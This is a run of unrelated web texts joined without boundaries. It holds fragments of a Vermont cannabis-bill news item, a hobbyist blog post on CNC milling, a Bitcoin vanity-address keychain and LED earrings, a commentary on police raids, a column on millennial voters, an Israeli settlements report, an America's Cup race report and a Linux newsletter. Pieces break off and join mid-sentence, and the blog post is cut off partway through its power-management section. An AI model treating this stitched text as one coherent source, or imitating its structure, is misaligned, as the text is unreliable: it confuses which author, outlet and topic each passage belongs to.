like to see some improvements to ensure a structure in place to protect public safety in Vermont," Scott said.A separate version that was also under consideration would have created a Colorado-style marijuana free market.The bill passed on one of the last days of the legislative session for the year.The plan was almost not considered at all this legislative session. The Legislature had considered several bills for the past year, but was unable to agree on one to pass. Download the MyNBC5 app | Like MyNBC5 on FacebookChristmas time is always such a miserable, stressful lovely time at ch00ftech headquarters as I frantically scramble to finish all of the gifts that I’ve started for friends and family. Unfortunately, in my haste, I haven’t been able to write up everything I did in detail, but I hope this post serves as a good summary of some of the stuff I did and what I learned.
CNC4UANDME
A few weeks into October, I tried to sign up for a new iPhone through T-mobile. With credit card in-hand, I waited at the T-mobile store while my sales rep entered in my information, called over his manager, called T-mobile headquarters, entered in my information again, and generally struggled with the one task he was hired to do.
After 45 min, I was told that they would be unable to sell me that phone on that day. Unsure of why a phone store would still remain open when they are unable to complete the one transaction that they are in place to perform, I walked home. Unsatisfied by the lack of gross irresponsible financial release that I had so thoroughly prepared for, I ordered a CNC machine.
It wasn’t really an impulse buy though considering I have been thinking about buying a CNC mill for the past year or so. I used to have access to one back in undergrad which is how I made the metal stamp that I used to make the burned wood image you sometimes see in this page’s header:
I really missed having the ability to make extremely precise objects out of a whole range of materials. I know a lot of folks are going the 3D printer route, but I wanted to have the ability to make very precise and durable parts and enclosure for my projects out of a plethora of materials from wood and plastic to various metal alloys.
The mill I settled on is a Taig from Soigeneris. A lot of folks have told me that I should have built my own CNC, but I wanted this machine to be a tool that I use to complete projects, not a project in itself. I ordered the mill with the optional rotary axis table, though I haven’t found much of a use for it yet. I just thought that I might as well go all out.
It comes with the software CamBam and Mach3. CamBam is a CAM or Computer Aided Manufacturing package. Unlike CAD, CAM work involves actually deciding what kind of motions the tool has to take to carve out the shape you’re trying to make. CamBam can do some 3D work, but it’s sometimes referred to as a “2.5D” solution as it mostly focuses on cutting and carving shapes out of flat stock. Mach3 is meant to control the CNC mill directly. This software can read in GCode to control the CNC, or it can control it using direct input from the keyboard. It apparently also has a number of built-in wizards for performing common tasks, but I haven’t had a chance to play with them yet.
The mill, the software, and a few collets and bits ran me almost exactly $3000.
Early Projects
One of the first things I did on my mill was carve a rod of aluminum into a 3D puzzle:
It’s not a whole lot to look at. I got the design online and simply coded CamBam to carve some channels into some sections of 1/2″ 6061 aluminum bar stock. This stock was held easily in my mill’s included vice grip. This project could have easily been completed by a handmill, but I was still getting my bearings.
My second big project was a pinewood derby car. I found the 3D model in the catalog of parts available for free in AutoDesk’s 123D.
I tried to tweak the model a bit to align the wheels with the wheel channels carved into the standard pinewood derby block, but 123D Design’s extreme lack of practical engineering features (it’s more of an art program) made this very difficult. I ended up having to drill new holes for the wheels’ axels.
One of the hardest things to accomplish with a design like this is fixturing. unlike 3D printing, CNC mill work requires some method of holding the stock material in place before cutting into it. While it was easy to have a vice grip clamp down on the aluminum bar stock for the 3D puzzle, it’s a little more difficult to pull off when basically all sides of the model are going to get sliced up.
After asking around, I heard one very simple suggestion that I wouldn’t have expected to actually work. Double-sided tape.
I started by carving out a flat channel in a block of wood using an end-mill. Because this was produced by the mill itself, it’s guaranteed to be square and level relative to the mill’s coordinates. I then applied some two-sided tape to the pinewood block and stuck it down:
After tweaking some of the car’s dimensions in 123D, I exported as a.STL file and imported it into CamBam. I don’t have too many details of the settings I chose, but I did select “waterline-rough” as my method of cutting the 3D profile. This means that it cuts down one level entirely before moving to deeper levels.
I made the mistake of doing this entire job with a 1/8″ bit. CamBam makes it fairly easy to do multiple passes with different sized bits, so I should have used a fatter bit to do a rough pass quickly and then moved to a smaller bit for more precise work. Either way, it worked:
Because my bit of choice had a cutting head that was narrower than its shank, I had trouble with long vertical sections. Once the bit sank deep enough, the wider shank would rub up against the vertical surface of the wood. For this reason, I manually destroyed the tail of the car with a pair of wire cutters to prevent the bit from damaging the rest of the model.
I did one more partial smoothing pass with a smaller vertical step size, and the model became pretty smooth.
Bitcoin Wallet
I’ve been nerding out about Bitcoin for the past few months, and my dad has taken a cursory interest as well despite not actually purchasing any of his own. For Christmas, I decided to give my dad some Bitcoin, but I wanted to find a fun way to deliver them.
Bitcoin is a digital currency. I don’t want to go into too much detail here, but the relevant portion of the system is that owning a Bitcoin consists of having the private key to a public address that someone has sent Bitcoin to at some point. The private key is required to spend Bitcoin and the public address is required to receive them.
The kicker is that the public address is generated from the public key using a special algorithm, but there is no way to generate a private key knowing only the public address.
For the most part, public addresses are completely random strings of numbers and letters as the algorithm does a great job of scrambling the private key up so that it cannot be found from the public address. Even small changes to a private key will change the public address entirely to a new random string. Sometimes however, there’s a chance that the public address will have a word or phrase in it that people might recognize.
If you guess enough private keys fast enough, the odds of finding a specific word or phrase in a public address goes up. I thought it would be fun to give my dad a Bitcoin wallet with his name in the address. This is commonly referred to as a “vanity address”.
My dad’s first initial and last name came out to seven characters, and since Bitcoin addresses are case-sensitive and I wanted to specify that, it took an incredibly large number of guesses to find the private key that worked.
Fortunately, I was able to use OCLVanityGen on my video card to guess a little over 18,000,000 private keys per second using my video card. It was a little hard to set up, but thanks to some helpful folk on reddit, I got it working.
Half a trillion guesses later, the program spat out a private key and public address:
1ACiuffovDAfshKeQKo7vo36KfDPxQGEgv
I wrote the private key down somewhere safe and generated a QR code from the public address using an online QR code generator.
Looking for yet another way to utilize my CNC mill this holiday season, I decided to mill my dad a QR code keychain out of aluminum that he can use to accept Bitcoin into his new vanity address.
I imported the QR code into CamBam using the Draw>Surface>From Bitmap feature. This will take a bitmap and assign a cutting depth based on the shade of grey in the image where darker pixels are cut deeper. I learned that when importing low resolution images into the program, it will internally scale them up using a method that blurs the sharp edges of the QR code. The end result is that every edge in the 3D surface ends up slanty:
Scaling up the image in Photoshop where I could control the scaling method fixed this problem.
I then told CamBam to generate tool paths using a waterline method and a 0.049″ bit. I apparently had two such bits just…lying around. I think I originally bought them to somehow cut holes in the enclosure of my bullet counter like…three years ago. CamBam does not show you what your end result will look like, so I was unsure if a 0.049″ bit would provide a QR code with sharp enough edges to be scanned (the bit is scarcely narrower than a single QR code pixel). Drawing such a pixel in Eagle and remembering what I learned from the QR Clock convinced me that it was square enough for most scanners.
With these toolpaths generated, I moved on to bringing it into the real world. I started with a bar of 2″x1/8″ aluminum bar stock that I picked up from Onlinemetals.com. They’re based in Seattle and don’t charge shipping if you pick your order up at their warehouse.
Mounting the bar stock into my mill, I set about squaring off the surfaces:
This wasn’t entirely necessary for such a low-precision project, but I wanted to get rid of the roller marks and other blemishes that you can see on the stock in the above picture. I used some parallels and 1/2″ bar stock to set the piece so that its top surface sat just barely higher than the edge of the mill. As it sat, there was probably 0.1mm of clearance between the mill and the vice as it shaved off the surface of the bar stock. I would like to have given myself more wiggle room, but I couldn’t find anything uniform enough to wedge in there to prop it up, so I just worked very carefully with the small gap.
With the surfaces all clean, I used an edge finder to program the mill’s coordinates around the stock piece.
Used to working with larger bits and softer materials, my first attempt involved digging my bit in a solid 0.5mm and cutting at much too fast a pace. This resulting in snapping my end mill off almost immediately. You can see the hole here:
Fortunately, I had a backup bit, so I changed it to 0.05mm depth and slowed down the cutting speed too just in case. This ended up taking several hours to get to the 0.5mm depth. If I was running a factory, I would have chosen different settings, but as I was just trying to make a one-off without breaking any more bits, I was happy to wait. Furthermore, Mach3 makes it easy to increase cutting speed as the job is progressing, so as I built up confidence, I carefully stepped up the speed to move things along.
It was interesting to see the order in which CamBam decided to cut the grooves. Even more interesting was the fact that by simply changing the depth of each cut, CamBam decided to start in a completely different section from where the bit was broken off.
Unfortunately, the code wasn’t scannable in this form, so I quickly moved on to painting it. Two coats of flat black spray paint gave me this:
Then some work with a piece of 80 and then 400 grit sand paper on a flat surface gave me this:
Finally, a hole for the keychain and a few layers of clear-coat:
The clear coat doesn’t seem to stick too well to the aluminum, but it should provide some protection for the paint. Regardless, my dad is pretty handy, and as long as the aluminum itself isn’t seriously destroyed, refinishing it and returning it to this shape should be possible long into the future.
Let’s just hope Bitcoin lasts that long.
Earrings
After the disaster that was my first pair of earrings, I decided to re-make them entirely with new PCBs cut with my CNC and new enclosures cut out of plastic instead of Sculpey.
PCB
Using a CNC mill to cut PCBs is often called the “isolation method” as you’re removing material to isolate separate traces on a solid sheet of copper clad PCB. My CNC mill has a step distance of 0.0005″ or 0.5 mil, so cutting the 10 mil traces that I was so proud of etching previously is trivial. The hard part is finding a bit small enough.
Some of the gaps in this circuit are just a few mil wide, and it’s difficult to find endmills with tips that are that small. That’s why most people use engraving bits. These bits have ends that are pointed to some set angle and taper down to a point that is smaller than a mil across.
Presumably, you’d want a bit that tapers down to a point at the sharpest angle possible. This will allow for the narrowest possible cuts. What I learned looking around online however is that sharper bits will leave your traces with sharper edges that may peel up faster than the more gradually tapered ends produced by shallower angles. Splitting the difference, I ordered a 30 degree and 60 degree bit off Soigeneris.
To generate the Gcode file necessary to cut the board, I used a free plugin for Eagle called PCB-Gcode. This software suite lets you select things like your cutting depth and isolation distance as well as the number of passes. Technically, only one pass is necessary, but with such a narrow path cut between the traces and the unused copper on the board, it becomes fairly easy to accidentally form shorts.
Here are the settings I used:
A lot of the settings such as Z up and Z down are pretty self explanatory, but I had some trouble with epsilon and isolation. Minimum isolation is supposed to tell the software how far to keep the bit away from the edge of your trace to guarantee that the bit’s edge doesn’t remove any of the trace in question. Epsilon is the gap to allow between subsequent passes.
This all makes a lot of sense for end-mills, but my bit tapers to an end that’s essentially zero width, so neither of those settings make any sense. I eventually decided to pretend that the width of the bit is its width at the surface of the copper clad which is just a fraction of a millimeter back from its tip. Using the thickness of the copper, the angle of the bit, and a bit of trigonometry, I came up with the numbers you see above. Some sources online reminded me that honing in these numbers is something of a trial and error process, so I’m sure I’ll come up with better numbers as time goes on.
With these settings, the program spit out this doodle:
Each color represents a separate pass. You can see that in some areas only one or two passes could fit, but this is enough to properly isolate the circuit. Sort of has a fun psychedelic look to it.
Just to see what would happen, I jammed a pen into the collet and ran this program:
Of course, when actually removing such a small amount of material, programming the height of the bit above the copper is absolutely critical. I found one source that provided an interesting tip. Just as the flutes of endmill bits are precisely manufactured, the shanks (the part that goes into the mill’s collet) are also of very precise diameter. By rolling a bit back and forth on the copper clad’s surface and trying to pass it under a very slowly dropping engraving bit, I was able to determine the exact moment when the rolling bit would no longer fit. At this point, the height of the engraving bit off the copper clad is exactly known. This can yield very accurate results and doesn’t run the risk of breaking the engraving bit.
My first attempt with the PCB was a disaster. For some reason, I got it into my head that 1/32″ copper clad has 1/32″ of copper on the surface when it’s actually 1/32″ of fiberglass with a 0.0014″ of copper coating. With this setting keyed in, my 30 degree bit dug a deep hole into the board before immediately snapping:
This lesson cost approximately $13.
My second attempt with the 60 degree bit worked much better:
And though it took a long time to finish, it was still faster and less messy than etching the PCB, and the end results were beautiful!
I really was impressed with the level of precision I was able to achieve. Just look at this close up (human hair for scale):
And compare it to a similar trace etched with acid:
It looks a heck of a lot cleaner. Now, the 10 mil traces definitely weren’t 10 mil across, but more trial and error with the isolation and epsilon settings will improve that.
Case
I’ll get back to how the PCB worked out, but now for the case.
For the new version of the earrings, I wanted a very simple case (box and lid) made out of some kind of durable semi-translucent material that cuts well on a CNC machine. I settled for a simple design that I whipped up in the cheap CAD suite ViaCAD and cut out of some “delrin” or acetal resin that I purchased from Online metals as 1″ round stock.
I might cover the CAD process in a later post, but the hardest part of making such a ridiculously tiny box (only 14mm across) was holding the damn thing in place.
For the super thin lid, I was able to use the same method that I used for the pinewood car:
But I had no such luck on the much taller box. Once it got down far enough into the form, the bit would always catch the box, rip it from its adhesive, and throw it across the room. This happened five or six times before I decided that it just wasn’t going to work out. I heard some suggestions to move to a stronger adhesive, but I decided to just clamp it down and do it right.
The adhesive method would have let me mill the entire object at once, but when clamping the raw material down, I needed to stop once the bit neared the vice grip so I could flip the piece around and start milling out the other side. This was trivial from a mechanical perspective, but programming the mill to know the coordinates of the newly re-seated part was a lot more challenging.
Some parallels let me set the Z dimension, and an edge-finder up against the inner lip of the vice got me the Y dimension easily, but X presented a problem. Because the part itself was overshadowed by the mass of stock I was cutting it from, there was no way to get an edge finder up against the part’s outer wall. This image might make it a little clearer:
As far as the CNC was concerned, that part could be anywhere along the length of that vice. I ended up sort of fudging it using a parallel and an edge finder like this:
This worked okay, but the tolerance stackup presented by the lack of rigidity of my hand and the softness of the delrin amplified by the length of the parallel caused one of my earrings to have a characteristic lip where the second half was milled just a few micrometers off center from the first. This didn’t have any mechanical impact, but considering that these are more form over function, I was mildly upset. In the future, I might try making a custom tool for this.
All setbacks aside, the final product turned out pretty well. Here’s the case with the original circuit in it:
The thinner walls of the delrin cases made the earrings much brighter and smaller than their Sculpey counterparts:
And lighter too:
I made some other (poorly documented) improvements over the original design. The hole in the bottom was precision drilled with the mill which means that the little screw heads fit very snugly and almost snapped in place (a dab of super glue kept them there). I attached the ear hooks to a steel loop of wire instead of the copper wire I used before. The wire was the same stuff I used to make this:
Steel is more durable than copper, and it leaves me the option to use magnets to attach the positive charging terminals instead of alligator clips. I was also happy to find that it can be easily soldered to copper to make the necessary electrical connections.
I’m a dope
You might be wondering why the above pictures show my original circuit board getting loaded into the new delrin case after I spent all of this time re-making said board with the CNC machine.
Well, there were some poor assumptions I made in the design of my original earring’s suicide circuit. I ended up using this:
Despite the fact that R13 should actually be tying the gate and source of Q1 together (oops), this circuit worked exactly as advertised. When the trace leading off the left side of the schematic is disconnected, R12 shuts off Q2 which in turn stops providing charge to the gate of Q1 which then turns off and disconnects circuit ground from the battery.
When I first designed this circuit, I had something like this:
Where I was driving the gate of the NFET directly from the output of the micro controller. This failed because as the NFET shut off, the ground pin of the microcontroller rose, so it became impossible to exert a low enough voltage on the NFET to shut it off further. The part would sometimes shut off, but most of the time, it settled into a half-on state where it continued to drain the battery. Through some trial and error, I ended up adding both a PFET and some pull up/down resistors.
Though it was too late to undo what I had done, I was convinced by the end of that post that I didn’t need the PFET and could get away with a single NFET as long as I made sure to include the pull-down resistor on the gate. After all, the issue I originally dealt with was exerting a low voltage from the micro controller. If the pull-down pulled from an outside source, it should be trivial to turn the part off simply by switching the micro controller pin to a high-impedance input.
As it turns out, I was wrong.
Upon re-building this circuit with the CNC, I discovered that my new circuit exhibited the same half-on battery-killing problems that I experienced with my very first draft of the board despite the addition of the pull-down resistor and change to the firmware. I wasn’t taking into account protection diodes.
Page 54 of the ATTiny24’s datasheet includes this figure:
Pxn is the pin presented to the outside world. You’ll note two diodes connected to this pin. These two diodes are in place to protect the main portion of the IC from over or undervoltage conditions. In other words, if the voltage on the pin drops below chip ground, the lower diode will source current from ground to this lower outside voltage to prevent the rest of the part from experiencing a negative voltage event.
In reality, these diodes are only really used for extremely quick pulses of high or low voltage (things like static shocks). Because of their important role in protecting the chip, these diodes cannot be switched on and off and are always present even if the pin in question is configured as a high impedance input.
So while I was assuming that no current was flowing from the pin that was configured as a high impedance input, this diode was actually sourcing a fair amount of current into the gate of the NFET (and associated pull-down resistor) as the chip’s ground rail rose above the negative terminal of the battery.
Perhaps this image drawn with a laptop trackpad on an airplane will make it more clear:
(I can’t wait to get home)
In this doodle, the “load” resistor represent the current draw of the processor itself from its VCC to its GND pins.
I poured over this for a while, and I really don’t think anything can be done besides falling back to the NFET/PFET combo that I originally had. That’s the only configuration where current leaking through these diodes does not prevent the FETs from turning off.
So the issue for me leading up to Christmas was that I needed to get these earrings done in a weekend, and I had just discovered the need for a PFET which I did not currently have in stock. This meant that I had to make everything happen with the original PCBs which were some of the ugliest circuits I’ve had to deal with…
Power management
Despite the ugliness of the circuit boards, I still pressed on to see if I could employ any of the power management techniques I discovered after I wrote my last post.
Watchdog
Because my earrings have no power switches, they are designed to go to sleep when in the presence of a magnetic field and then periodically check for that field to see if they should wake up. They also need to monitor their batteries to detect when they drop below the maximum discharge voltage. This was previously done by putting the chip into idle mode and waking it up every 8 seconds to read the hall-effect sensor and battery voltage.
Readers suggested using the watchdog timer to wake the device up from power-down mode. Power-down mode draws much less current than the idle mode, but the part cannot be woken up from this mode using a typical software timer. Fortunately, the ATTiny24 includes a “watchdog” timer.
A watchdog timer is meant to serve as a fail safe to protect a system controlled by a micro controller that’s caught a bug. Code programmed to utilize a watch dog will need to ping the watch dog at regular intervals to tell it that everything is okay. If the code catches a bug and gets stuck somewhere, the watchdog can be programmed to run a special line of code to attempt recovery or restart the part entirely.
All the watchdog needs is a time out delay setting and an instruction of what to do when it times out. Unlike the software timers left enabled in idle mode, the watch dog timer runs on its own special low-frequency oscillator that requires a very small amount of current and can continue to run in power-down mode. Figure 21-12 on the ATTiny24 datasheet specified a power-down current of around 3-5$$\mu$$A.
I modified my code to look for the presence of a magnetic field, and then turn on the watch dog timer and drop into power-down mode. I selected the watchdog prescaler options to have it trigger every 8 seconds, and I made no attempt to ping the watch dog to prevent it from timing out. Every 8 seconds, it threw an interrupt that woke the part up and let it iterate through checking the hall effect sensor.
This was surprisingly easy to setup. I did have one problem with it though. If the battery voltage dropped below the safe threshold while the part was asleep, I noticed that the suicide circuit wasn’t activating and the part was remaining alive.
It turns out that my code continued to iterate after activating the suicide circuit, so even though power was disconnected, it made it far enough to get back to the power-command which also disabled the suicide circuit.
I think the reason I didn’t see this before is that my new lower-power state allowed the part to generally survive longer off bypass capacitance. This doesn’t totally follow considering that the current draw before the power-down command hasn’t changed, but I’m guessing that I was skating some edge |
surprise. But when surprised suspects then mistake police for intruding criminals, we're told that the suspects had to have known the intruders were police. Put another way, we're told these tactics are necessary to bewilder and confuse, but when people say they were genuinely bewildered and confused, we're told to assume they're lying. Should police find actual drugs in the home, no matter how small an amount (see Cory Maye), you can forget about the "I didn't know" defense entirely.
By the same token, when police mistakenly shoot unarmed people in these raids, they're generally forgiven, due, they say, to the inherent volatility and dangerous nature of the raids.
Paradoxes and double standards abound.
Also, no word on whether Jackson' crazy-ass mayor went along on this particular raid.Democrats have become so frustratingly useless to young people that it's inspiring Salon writers to say semi-nice things about libertarians. Yes, my friends, perhaps the partisan apocalypse really is nigh.
In a piece at Salon today, Tim Donovan explores how millennial-voter turnout in the recent midterm elections was low, and that didn't bode well for Democrats. He scoffs at the idea that the dismal showing had much to do with voter identification laws or other logistical barriers. Rather, Donovan suggests (as I, too, did recently) that Democratic candidates have done a crap job of focusing on issues that actually matter to young voters:
For those of us who follow "millennial issues," this generation’s low turnout hardly came as a surprise. Last April, the Harvard Institute of Politics found something surprising while talking with young voters: considerably more young Republicans expected to vote than Democrats. Armed with this troubling data, Democratic candidates had months to adapt their messaging and court our votes. What happened? Universally, Democratic candidates didn’t bother to address the (very real, very serious) problems that are on the minds of many millennials: the racist and costly drug war, ballooning student loan debt, long-term unemployment, flat wages at shitty retail and restaurant jobs, and an imperiled climate. Democratic strategists seemed to assume that running as the Not-Republican Party would carry them to victory among young voters.
I don't know that the issues Donovan mentions are necessarily those that excite millennials the most, nor that it's true Democratic candidates didn't focus on wages or climate policy this election season. But he's certainly right that they focused much more on scaremongering about Republicans than actually setting themselves apart from them in substantive ways. Donovan continues:
Personally, I’d vote for Rand Paul for president faster than you can say "libertarian wacko" if I thought he would actually end the drug war, slash corporate welfare and plow the savings into student loan debt relief or a robust infrastructure bill. If someone like myself—a pajama-festooned, latte-sipping, liberal hipster who writes for Salon, fer chrissake–is willing to ignore party preference in favor of actual legislative gains, I can only assume that less ideologically committed millennials are even more willing to vote Republican for the right candidate or platform.
Woo! Sure, Donovan may still see Paul as a "libertarian wacko", but being a bit wacko seems like a comparatively good thing in this context. The alternative is doctrinaire Democrats and Republicans who put partisan needs over ever accomplishing anything. And millennials are less likely than generations past to stand for that noise, as poll after poll and anecdote after anecdote show.
If millennials are a "politically unclaimed" generation, however, it's never been so true as right now and won't be as true for much longer.... Thanks, Obama! There are still plenty of people who want to talk about the spell President Obama cast on millennials, and how anyone who thinks they can get young people to vote Republican (or libertarian, or any oddball third party) is deluding themselves. But I think this drastically underestimates the extent of millennial disillusionment with the president, and the political potency of this disillusionment.
It's the first-cut-is-the-deepest phenomenon: Millennials mostly came into political consciousness during cartoonishly-evil, Karl Rove-era GOP power. Then came Obama, promising to care about civil liberties and end the Iraq wars and let gay people get married. And for a minute, the narrative of Democrats as a more modern, less authoritarian party and Republicans as rich old men who want to bomb everyone while banning sex seemed cemented in the millennial mind. "Thanks to truly epic Republican awfulness on just about every possible issue from gay marriage to foreign affairs to budget-busting, the Dems have indeed been able to take the kids for granted in recent years," as Nick Gillespie writes.
Then Democrats spent the past six years systematically squandering their millennial advantage. Obama turned out to care about civil liberties as little as Bush did and like bombing people about as much. Little changed in a Democrat controlled Congress. Then little changed in a Republican controlled Congress. And progress on issues like legalizing marijuana and allowing same-sex marriages continued with little help from Congress or the White House. For all but those most inclined to be partisan hacks, the idea that either side is inherently distinguishable from the other seems to be quickly dissipating among Gen Y.
But this is likely a strike while the iron's hot kind of moment. A gift, really. Here's a young electorate too let down by politicians on both sides to feel especially tribal, yet too optimistic (as of yet) to let this sour them on politics entirely. A lot could change by 2020. Right now, here's a group practically begging to be won over, if only anyone on either team red or team blue could manage to actually stand for something.Dear Reader, As you can imagine, more people are reading The Jerusalem Post than ever before. Nevertheless, traditional business models are no longer sustainable and high-quality publications, like ours, are being forced to look for new ways to keep going. Unlike many other news organizations, we have not put up a paywall. We want to keep our journalism open and accessible and be able to keep providing you with news and analysis from the frontlines of Israel, the Middle East and the Jewish World.
Right-wing politicians and settlers lashed out at Prime Minister Benjamin Netanyahu on Sunday
for his plan to coordinate settlement activity with the new Trump administration.
As long as settlements are only a small percentage “of the West Bank and the Palestinians are not taking steps for peace, there is no reason at all to limit the property of rights of Jews living in Judea and Samaria, or prevent their kids from building near them,” Public Security Minister Gilad Erdan said on Sunday when the issue was raised at the weekly cabinet meeting.
The politicians had hoped that with President Donald Trump in the White House, US restrictions on building in West Bank settlements would become a thing of the past.Instead, in the government meeting and later in a security cabinet meeting, Netanyahu explained that a new mechanism would be set up to clarify principles for such activity.Netanyahu hails "new day" in Israel-US relations after meeting with Trump (credit: REUTERS)Last week, at briefing with Israeli reporters in Blair House, he had said Jewish building in Jerusalem would not be limited, but that only cautious settlement activity could continue until an understanding had been reached with the Trump administration.Ambassador to the US Ron Dermer will be among those working with the Trump Administration to clarify the issue. Neither Netanyahu nor his advisers answered questions about whether new construction could be approved until the mechanism is worked out.Among questions on the table are whether construction can occur within the built-up areas of settlements or up to the municipal boundaries, and whether such building would be solely in the blocs.Netanyahu did tell ministers that the question of whether he could approve a new settlement for the Amona residents would have to wait until after the mechanism and been approved. He added that it was possible a different housing solution would have to be found.Representatives of the 40 families who were forcibly evacuated from the Amona outpost last month rallied in front of the Prime Minister’s Office on Sunday morning, demanding he move on his promise now.Bayit Yehudi Party leader and Education Minister Naftali Bennett told Amona residents that he would press Netanyahu to keep his promise to them.
Join Jerusalem Post Premium Plus now for just $5 and upgrade your experience with an ads-free website and exclusive content. Click here>>Peter Burling is the youngest ever America’s Cup winning helmsman after steering New Zealand to the 35th edition of the greatest prize in world sailing.
Emirates Team New Zealand completed the upset over holders Oracle Team USA with a 7-1 dismantling and put to bed the demons of a heartbreaking 2013 defeat in San Francisco that saw them turn an 8-1 lead to a 9-8 defeat at the hands of the Americans.
Burling and his underrated crew etched New Zealand’s name into the oldest trophy in world sport – the Auld Mug – for a third time, spoiling Team USA’s hopes of a third straight America’s Cup triumph.
America's Cup (@americascup) Victory in race 9 goes to @EmiratesTeamNZ
Winners of the 35th America's Cup #ThereIsNoSecond #AmericasCup pic.twitter.com/mA9XKXcWXE
“It is just unreal. It is exactly what we came here for. We are on top of the world. It has been three years of hard work,” said the 26-year-old Burling. “I don’t think we would be out here without the heartbreak of San Francisco.” Oracle’s helmsman, Jimmy Spithill, was gracious in defeat. “We are disappointed. But full credit to team New Zealand,” he said. “They fully deserve it, hats off to them.”
Earlier, in the only race of the day, Oracle gambled in favour of a lighter set up for the must-win ninth match, which was to be played out under a sunny sky and shifting 22km/h winds on the Bermuda sound. It was an aggressive move that was mirrored by the holder’s attitude on the water and it looked to be a masterstroke as the American boat won the race start and dragged their way ahead at the first mark.
But a less than perfect jibe left the door ajar and, just as they have done all series, New Zealand pounced. They found a superior line and optimised their time on the foils to snatch a five-second gap at the second gate, leaving the pressure heaped on the four Australian hopefuls Ky Hurst, Tom Slingsby, Kyle Langford and Jimmy Spithill aboard Oracle.
America's Cup: New Zealand celebrates 'underdog' victory over billionaires Read more
Far from nursing their lead, the New Zealanders’ looked to assert their authority on the third leg in light air, opening up a buffer the size of two football fields over their opponents. The two boats found themselves on the same side of the race course on the fifth leg as the match racing intensified, with Oracle closing to within 150 metres but still firmly in the wake of the regatta leader. That is where they would stay, the New Zealand grinders eking out nearly 2km/h more pace over the course, pedalling their way to victory in the final race of the regatta by 55 seconds.
It was an emphatic end to a dominant performance for the syndicate from the Royal New Zealand Yacht Squadron, who excelled with their superior downwind speed throughout the series.
For Australian Glenn Ashby who helped call strategy aboard the champion entrant, victory was all the sweeter. He was the only remaining sailor from the defeat on San Francisco Bay in 2013. “It has been an amazing journey for us as a team. Personally for me it is a feeling of relief and immense satisfaction,” said Ashby. Burling paying special mention to the veteran Ashby’s influence: “He plays a massive part in what we do,” said Burling.
While the winners celebrated, an emotional Spithill was left fielding questions about what would come next for one of the greatest mariners of his generation. “I’m not sure. I have spent so much time and energy on one day at a time. I want to get back and thank the entire team and we will take it from there,” he said.cron.weekly issue #95: fail2ban, React, $HOME, apt-key, Go, Kanban, Zabbix, Zsh & more
Welcome to cron.weekly issue #95 for Sunday, August 27th, 2017.
Lots of variation in this issue again, from the deep-technical guides and projects to more ‘soft’ talks about open source licensing, anniversaries & history of Linux.
Happy Sunday all!
News
This is a fun exercise to try and rethink the OSI layer for today’s standards, keeping security & cryptography as one of the primary motivators.
This is a fun in-browser shell simulator with a a lot of challenges to get through.
Join the Open Source Database Community 25-27 September, 2017, in Dublin for Percona Live Europe. With various talks covering core topics on MySQL, MongoDB, MariaDB, PostgreSQL, Time Series Databases, RocksDB & more. 1 day tutorials & 2 days sessions & keynotes. Buy Now. (Sponsored)
There’s been a lot of talk in the last few weeks about Facebook’s React project and their licensing model. This post tries to decipher the consequences, and the worst-case scenario isn’t all that great. Let’s hope that particular scenario doesn’t happen (or get enforced).
In this post, Facebook themselves explain why they didn’t change their license after the Apache Foundation requested it. I’m not sure what to make of this, as everyone defends their own point of view, obviously.
GoCD is a continuous delivery tool specializing in advanced workflow modeling and dependency management. New AWS ECS elastic agents plugin just released. Optimizes your utilization and reduces infrastructure cost now. (Sponsored)
This isn’t necessarily Linux related, but it was a fascinating read regardless: the author looks at why download speeds on a PS4 are slow and takes a deep technical look at TCP receive windows, congestion, round trip times, … fascination read for those of us who care about networking.
Linux turned 26 last week! In this post, the author looks back at one of the earliest Linux distributions – Softlanding Linux System (SLS), reinstalls it and compares that kernel with today’s most modern Linux kernel.
I’m actually a week late but I missed this news last week: happy birthday, Debian!
It’s all got to do with hardware. Click through if you want to know some Linux trivia about that tilde representing the $HOME directory.
The `curl | bash` method is generally frowned upon, but this post looks at what might go wrong if you go `curl | apt-key`, too.
Tools & Projects
Track & alert on the health and performance of every server, container, and app in any environment, with Datadog. Sign up for a free 14-day trial. (Sponsored)
This repo has a collection of pretty much every major Linux project, from audio editing to chat, development & productivity and everything in between. If I’m every out of ideas for new projects to highlight, I’ll have a look there. ^^
Bare metal, self-hosted, self-healing/provisioning, mesh network kubernetes cluster.
This project aggregates many OpenBSD related blogs and newsfeeds into a single view. If you’d like to keep track of OpenBSD related work, this might be something for you.
OpenFaaS is a framework for building serverless functions with Docker which has first class support for metrics. Any process can be packaged as a function enabling you to consume a range of web events without repetitive boiler-plate coding.
Auto-sync files or directories over SSH using rsync and fs.watch().
Wappalyzer is a cross-platform utility that uncovers the technologies used on websites. It detects content management systems, eCommerce platforms, web servers, JavaScript frameworks, analytics tools and many more.
A new set of free and open icons to use.
Lots of open source & free icons to use on websites or other projects, this time by the VMware team.
Most of the engineering effort put into this release went to improvements of the runtime and tooling, which makes for a less exciting announcement, but nonetheless a great release.
Tarantool is an in-memory database and application server, a drop-in replacement for Lua with non-blocking I/O.
How to be agile as a terminal geek? In Bash, of course! This is a commandline asciii kanban board for minimalist productivity bash hackers (csv-based).
The Node project forked, yet again. Not sure on the viability of this one (seems to only be supported by a handful of people), but if it turns out to eventually surpass Node, I want to make sure I included it. ^^
Prezto is the configuration framework for Zsh; it enriches the command line interface environment with sane defaults, aliases, functions, auto completion, and prompt themes.
Cuberite is a Minecraft-compatible multiplayer game server that is written in C++ and designed to be efficient with memory and CPU, as well as having a flexible Lua Plugin API. Cuberite is compatible with the vanilla Minecraft client.
Easily create a microservice for generating PDFs using headless Chrome. pdf-bot is installed on a server and will receive URLs to turn into PDFs through its API or CLI. pdf-bot will manage a queue of PDF jobs. Once a PDF job has run it will notify you using a webhook so you can fetch the API.
A big new release for the monitoring tool, featuring a new dashboard, better timing & correlation of metric retrieval (aka: get all CPU perf counters at once, instead of one at a time), many server-side improvements, notifications on alert ack’s, multi-threaded alerting, … very cool stuff all!
It took almost 6 years to get a new release for fail2ban, but it’s a good one: support for IPv6, faster lookups by searching the fail of logfiles, improved filters, … the Changelog is pretty big.
Guides & Tutorials
This post contains a lot of good details on how to make & maintain a Makefile in order to have a structured & sane build config.
An interesting approach where API calls to AWS get logged & triaged into “noise” and “important” and in turn get pushed to the engineer that made the call, to confirm he/she did that on purpose.
There’s more to Linux user permissions than user/group/other and read/write/execute. Extend file attributes gives you lots of flexibility regarding user & group permissions and are definitely worth a look if you haven’t used them.
Lots of practical Docker-related commands to help get you started & serve as a reference guide to fallback on.
